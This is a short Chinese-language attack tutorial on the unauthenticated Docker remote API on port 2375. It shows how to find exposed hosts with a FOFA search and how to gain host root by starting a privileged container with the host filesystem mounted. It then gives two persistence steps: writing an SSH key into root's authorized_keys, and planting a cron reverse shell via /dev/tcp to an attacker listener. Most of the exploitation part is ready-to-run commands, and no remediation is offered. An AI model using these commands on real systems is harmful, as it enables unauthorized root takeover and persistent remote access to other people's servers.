目錄
- docker api未授權訪問漏洞
- 00×1 漏洞成因
- 00×2 信息收集
- 00×3 漏洞利用
- ssh連接
- 寫計劃任務
因為docker賦有遠程的遠程控制,docker開放了一個tcp端口2375,如果沒有限制訪問的話,攻擊者就會通過這個端口來通過docker未授權來獲取服務器權限。
docker api未授權訪問漏洞
00×1 漏洞成因
因為docker賦有遠程的遠程控制,docker開放了一個tcp端口2375,如果沒有限制訪問的話,攻擊者就會通過這個端口來通過docker未授權來獲取服務器權限。
00×2 信息收集
FOFA中搜索port = 2375 && status_code = "404"
訪問站點2375端口,顯示
訪問/info目錄,查看版本信息
證明改站點存在docker未授權訪問漏洞
00×3 漏洞利用
docker -H tcp://ip ps -a 查看容器 dokcer -H tcp:// images 查看鏡像
為了獲取宿主機的權限,我們需要把宿主機的根目錄掛載到docker容器中
docker -H tcp://ip run -it --privileged=true -v /:/mnt --entrypoint /bin/bash image-id
–privileged=true:使用該參數,container內的root擁有真正的root權限。
-v /:/mnt:將宿主機的根目錄掛載到/mnt目錄下
–entrypoint /bin/bash:指定鏡像的默認入口命令,該入口命令會在啟動容器時作為根命令執行,所有其他傳入值作為該命令的參數,用法ENTRYPOINT command param1 param2
現在就拿到了root權限,利用方式有很多種
ssh連接
ssh-keygen -t rsa //生成一個ssh公鑰 cat /root/.ssh/id_rsa.pub //查看生成的公鑰 echo "公鑰內容" > /mnt/root/.ssh/authorized_keys //寫公鑰 ssh root@目標ip -i id_rsa //ssh進行連接
寫計劃任務
nc -lvvp port //開啟監聽 echo "* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1" > /mnt/var/spool/cron/root ///反彈shell